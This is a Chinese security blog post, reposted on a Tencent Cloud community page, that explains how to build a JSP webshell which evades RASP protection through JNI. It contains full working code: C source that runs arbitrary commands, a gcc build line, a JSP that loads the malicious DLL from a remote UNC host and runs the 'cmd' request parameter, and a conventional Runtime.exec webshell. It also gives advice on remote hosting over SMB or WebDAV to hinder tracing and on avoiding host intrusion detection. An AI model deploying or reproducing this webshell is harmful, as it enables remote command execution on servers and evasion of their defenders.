专栏首页安全乐观主义JNI技术绕过rasp防护实现jsp webshell

JNI技术绕过rasp防护实现jsp webshell

背景

笔者近日看到了这样一篇文章:那些年我们堵住的洞 – OpenRASP纪实

想到rasp这类工具是基于java、php运行期的堆栈信息进行分析,可以尝试使用jni技术进行绕过。java技术栈中的jni的原理是使用java调用c、c++函数,具体实现的思路是jsp编译为class文件,该class通过jni技术调用另外一处dll里的函数绕过黑名单执行命令获取回显,即可实现rasp和安全防护软件的绕过。github地址:https://github.com/nanolikeyou/jniwebshell

原理使用

以我们要实现的jsp webshell命名为test.jsp为例。由于jni技术需要先通过javah+.class文件生成.h开头的c头文件,jsp是一种特殊的class文件,而jsp经过Tomcat编译class文件,命名遵从test.jsp ->> org.apache.jsp.test_jsp.class,所以我们需要新建package为org.apache.jsp,类名为test_jsp的.java文件。

package org.apache.jsp;

public class test_jsp
{
    class JniClass
    {
        public native String exec( String string );

    }

}

cd到编译生成的target/class目录,使用javah org.apache.jsp.test_jsp$JniClass命令生成org_apache_jsp_test_jsp_JniClass.h文件,内容为:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_apache_jsp_test_jsp_JniClass */

#ifndef _Included_org_apache_jsp_test_jsp_JniClass
#define _Included_org_apache_jsp_test_jsp_JniClass
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     org_apache_jsp_test_jsp_JniClass
 * Method:    exec
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec
  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

调用上一步生成头文件,编写有回显的c语言代码

#include "jni.h"
#include "org_apache_jsp_test_jsp_JniClass.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    _pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}
}

使用gcc将该c源码编译为dll或者lib(注意jdk版本要与目标机器的

jdk保持一致)

gcc -I "c:\Program
Files\Java\jdk1.7.0_75\include"  -I
"c:\Program Files\Java\jdk1.7.0_75\include\win32" --shared JniClass.c
-o 1.dll

具体在jsp load时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
  class JniClass {
    public native String exec(String string);
    public JniClass() {
      //System.load("/Users/nano/upload/libJniClass.jnilib");
      System.load("\\\\8.8.8.8\\classes\\1.dll");
    }
  }
  ;
%>
<%
  String cmd  = request.getParameter("cmd");
  JniClass jniClass = new JniClass();
  String res = jniClass.exec(cmd);
%>

<%=res%>

技术要点

  1. 对于linux|mac环境,上一步生成的java内部类叫做JniClass,在类unix平台下,加载的库名需要为lib开头+JniClass+jnilib或者dylib。
  2. 核心的system.load|loadLibrary法是以File的形式记载dll|lib文件,该dll|lib路径的以远程的方式加载的绝对路径,所以需要目标机器上测试判断环境是支持//,还是支持\\\?简单判断方法是new file(path),然后判断file.exist。如果是前者的linux环境,需要想办法使用//的unc路径,推荐使用samba搭建匿名访问服务放置.jnilib载荷。如果是后者,即目标服务器为windows下的java应用,远程路径需要以\\\\开头,dll需要放在windows下,在windows平台下445不通的情况下,会访问WebDAV(开启webclient)的80端口下载下来dll执行。
  3. jni载荷的c、c++实现的代码要具备健壮性,避免目标环境的jvm奔溃。
  4. 使用system函数执行命令要小心被hids发现。
  5. 该webshell只在tomcat容器上测试过。

实战使用

经测试:jdk1.7+tomcat8.5+windows环境

jdk10+tomcat+Mac

rasp安全防护全开。

rasp安全防护全开。

样本index.jsp为传统的基于Runtime.getRuntime执行命令,

<%@ page import="java.io.*" %>
<%
    try {
        String cmd = request.getParameter("cmd");
        Process child = Runtime.getRuntime().exec(cmd);
        InputStream in = child.getInputStream();
        int c;
        while ((c = in.read()) != -1) {
            out.print((char)c);
        }
        in.close();
        try {
            child.waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    } catch (IOException e) {
        System.err.println(e);
    }
%>

毫不意外的被rasp记录日志并阻断。

使用jni突破rasp的jsp来执行shell,成功绕过。

成功绕过。

使用d盾查杀

virustotal:

其他

如果您有其他的思路和建议,欢迎同我交流:)

本文分享自微信公众号 - 安全乐观主义(gh_d6239d0bb816),作者:Ramos

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-07-23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • RSA2020全球信息安全大会PPT下载

    前言PPT列表人的因素(Human Element):DevSecOps 和应用安全(DevSecOps & Application Security):密码学...

    Ramos
  • 使用方舟编译器检查Fastjson OOM问题

    通过介入编译期间进行安全检查是类似于Facebook infer类的产品,为什么要这么做呢?源代码安全检查工具粗略分为两个大的流派,一个是类似于cover...

    Ramos
  • 浅谈块存储的安全配置

    我们已经多次关注亚马逊S3、阿里云oss这类对象存储的安全性问题,比如Bucket的权限管理,上传文件的xss问题、AK\SK的保护。如果说对象存储Ob...

    Ramos
  • JNI技术绕过rasp防护实现jsp webshell

    想到rasp这类工具是基于java、php运行期的堆栈信息进行分析,可以尝试使用jni技术进行绕过。java技术栈中的jni的原理是使用java调用c、...

    糖果
  • JSP 页面访问用户验证

    jsp安全性问题,当别人知道某个jsp文件的网址后就可以跳过登陆页面直接访问该jsp文件了,这样无法禁止外部无权限用户的访问。本文讨论内容是通过权限验证的用户,...

    阳光岛主
  • JSP/EL/JSTL

    一、JSP技术 1.jsp脚本和注释 jsp脚本: 1)<%java代码%> ----- 内部的java代码翻译到service方法的内部 2)<%=java变...

    用户5927264
  • jsp技术前言:一、简介:二、hello world:三、jsp语法:四、九大内置对象:总结:

    我是一名Java后台学习者,但是后台程序员也需要掌握一定的前端技术。虽然说现在前端基本上是react、vue、angular三分天下,但是作为一名Java程序员...

    贪挽懒月
  • JSP语法

    用户1112962
  • JSP基础--动作标签

    JSP动作标签是JavaWeb内置的动作标签,它们是已经定义好的动作标签,我们可以拿来直接使用。

    eadela
  • jsp编译、执行过程

    https://blog.csdn.net/napoay/article/details/50755064

    大学里的混子

扫码关注云+社区

领取腾讯云代金券